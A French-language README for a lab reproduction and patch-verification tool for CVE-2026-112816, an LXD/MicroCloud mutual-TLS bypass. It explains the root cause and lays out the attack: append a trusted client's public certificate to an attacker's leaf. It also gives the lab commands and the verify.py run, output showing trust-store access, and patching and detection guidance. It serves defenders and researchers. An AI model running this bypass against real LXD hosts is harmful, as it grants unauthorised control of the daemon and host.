
Outil de reproduction indépendante en laboratoire et de vérification post-correctif pour CVE-2026-112816 (contournement de la chaîne mTLS de LXD/MicroCloud).
Reproduction indépendante, analyse de la cause racine et recommandations de détection.
LXD et MicroCloud authentifient les clients de l'API distante via TLS mutuel en comparant le certificat du client à un magasin de confiance. Avant le correctif, le serveur comparait chaque certificat envoyé par le client à ce magasin, au lieu de ne comparer que la feuille.
Seule la feuille prouve la possession d'une clé privée. Les certificats qui suivent la feuille sont des données non authentifiées que le client a choisi d'attacher. Un attaquant capable d'atteindre l'API HTTPS et qui connaît le certificat public d'un client de confiance peut donc :
[attacker leaf] + [victim's public certificate] comme chaîne TLS client,Le certificat public de la victime n'est pas un secret — il est présenté lors de la poignée de main, il figure dans le trafic de jonction de cluster dans MicroCloud, et il est couramment enregistré dans la gestion de configuration. Aucune clé privée n'est nécessaire.
L'impact est limité uniquement par ce que le client usurpé est autorisé à faire. Si ce client est sans restriction, l'attaquant obtient de fait le contrôle du démon LXD et, par son intermédiaire, de l'hôte.
| CVE | CVE-2026-112816 |
| Classe | CWE-295 Validation de certificat incorrecte → contournement d'authentification |
| Avis | Avis de sécurité Canonical, 28 oct. 2026 |
| Signalé par | Transmis à Canonical par le projet Incus (crédité : stgraber) |
| Corrigé dans | LXD 6.10.1, 5.21.9, 5.0.11, 4.0.15 · MicroCloud 3.4.1, 2.1.5 (2026-10-29) |
| Reproduit sur | LXD 3.20, laboratoire de conteneurs isolé, 1 nov. 2026 |
Il ne s'agit pas de la découverte originale. La vulnérabilité a été trouvée, signalée et corrigée avant l'existence de ce dépôt. Tout ce qui figure ici est une reproduction et une explication indépendantes préparées après la divulgation publique, à destination des défenseurs et des chercheurs étudiant ce schéma.
poc/verify.py est l'unique source de preuve. Il associe un contrôle négatif à l'exploit, afin qu'un simple HTTP 200 ne puisse pas être confondu avec une authentification.
=== CVE-2026-112816 decisive check ===
target : 127.0.0.1:8443/1.0/certificates
[1/3] control: attacker leaf only (no trusted certificate)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 403
=> REFUSED (expected)
[2/3] exploit: attacker leaf + trusted public certificate
chain: attacker_chain.pem (2 certs)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 200
=> ACCEPTED
[3/3] authority: response must contain the trust store
trust entries returned: 1
[0] CN=trusted-client fingerprint=211cab96ad2e
VERDICT: [VULNERABLE]
reason: the same leaf was refused alone and accepted with a trusted certificate appended, and it read the trust store
La même feuille est refusée seule et acceptée lorsqu'un certificat de confiance public y est ajouté. Cette asymétrie constitue la vulnérabilité.
.
├── README.md ← you are here
├── docs/
│ ├── 01-technical-analysis.md ← root cause, trust model, why it works
│ ├── 02-lab-reproduction.md ← exact, reproducible lab build
│ ├── 03-detection-and-mitigation.md ← exposure check, fix, detection
│ └── 04-disclosure-timeline.md ← public timeline and credits
├── poc/
│ ├── verify.py ← decisive check: control + exploit + verdict
│ ├── reproduce.py ← single crafted request, raw output
│ ├── make_lab_certs.sh ← throwaway lab PKI generator
│ └── README.md ← usage, design notes, exit codes
├── SECURITY.md ← scope, authorised-use terms, contact
└── LICENSE
# 1. Generate the lab certificates: a "victim" certificate to trust, an attacker
# keypair, and the crafted chain [attacker leaf] + [trusted public cert].
./poc/make_lab_certs.sh --out /tmp/lab
# 2. Register the victim certificate and expose the API on the lab daemon.
lxc config trust add /tmp/lab/trusted_client.crt
lxc config set core.https_address :8443
# 3. Run the decisive check.
python3 poc/verify.py --host 127.0.0.1 --port 8443 \
--chain /tmp/lab/attacker_chain.pem --key /tmp/lab/attacker_private.key
verify.py se termine avec le code 0 lorsque la cible est corrigée, 1 lorsqu'elle est vulnérable, 2 en cas d'erreur TLS et 3
lorsque le résultat n'est pas concluant, ce qui permet de l'intégrer à un script d'audit ou à une CI.
Le listener HTTPS est configuré pour demander des certificats clients sans les exiger ni
les vérifier (tls.RequestClientCert). C'est délibéré : la confiance LXD repose sur une correspondance d'empreinte
avec un magasin propre à chaque démon, et non sur une PKI. Le bug vient de ce que la recherche de confiance itérait sur
r.TLS.PeerCertificates — la chaîne entière telle que reçue — plutôt que sur PeerCertificates[0]. Comme
la chaîne est fournie par le client et non vérifiée, n'importe quelle entrée de celle-ci pouvait satisfaire la recherche. Le correctif
restreint chaque comparaison avec le magasin de confiance au premier certificat du pair.
docs/01-technical-analysis.md couvre le flux de requête annoté, les chemins de code affectés (renouvellement et suppression de certificat, la connexion de l'agent VM, le scriptlet d'autorisation), où un attaquant obtient le certificat public, et le raisonnement derrière le score CVSS de 10.0.
sudo snap refresh lxd # ≥ 6.10.1 (6/stable), 5.21.9, 5.0.11, 4.0.15
sudo snap refresh microcloud # ≥ 3.4.1 (3/stable), 2.1.5
snap list lxd microcloud # verify the installed version, not the refresh result
Vérifier l'exposition — un LXD autonome qui n'a jamais défini core.https_address n'est pas du tout joignable sur le
réseau :
lxc config get core.https_address
lxc config trust list
Confirmez le correctif au niveau comportemental :
python3 poc/verify.py --host <target> --port 8443 \
--chain attacker_chain.pem --key attacker_private.key
# exit 0 + "VERDICT: [PATCHED]"
Les recommandations complètes pour les défenseurs, y compris à quoi ressemble un contournement réussi du point de vue du réseau, se trouvent dans docs/03-detection-and-mitigation.md.
Ce dépôt est un reproducteur de laboratoire et une analyse. Il ne contient aucun scanner, aucune charge utile, aucun
outil de post-exploitation et aucune liste de cibles. verify.py et reproduce.py valent par défaut
127.0.0.1 à dessein.
Exécuter ceci contre une infrastructure que vous ne possédez pas ou pour laquelle vous ne disposez pas d'une autorisation écrite de test est illégal dans la plupart des juridictions et ne constitue pas un usage pris en charge de ce code. Voir SECURITY.md.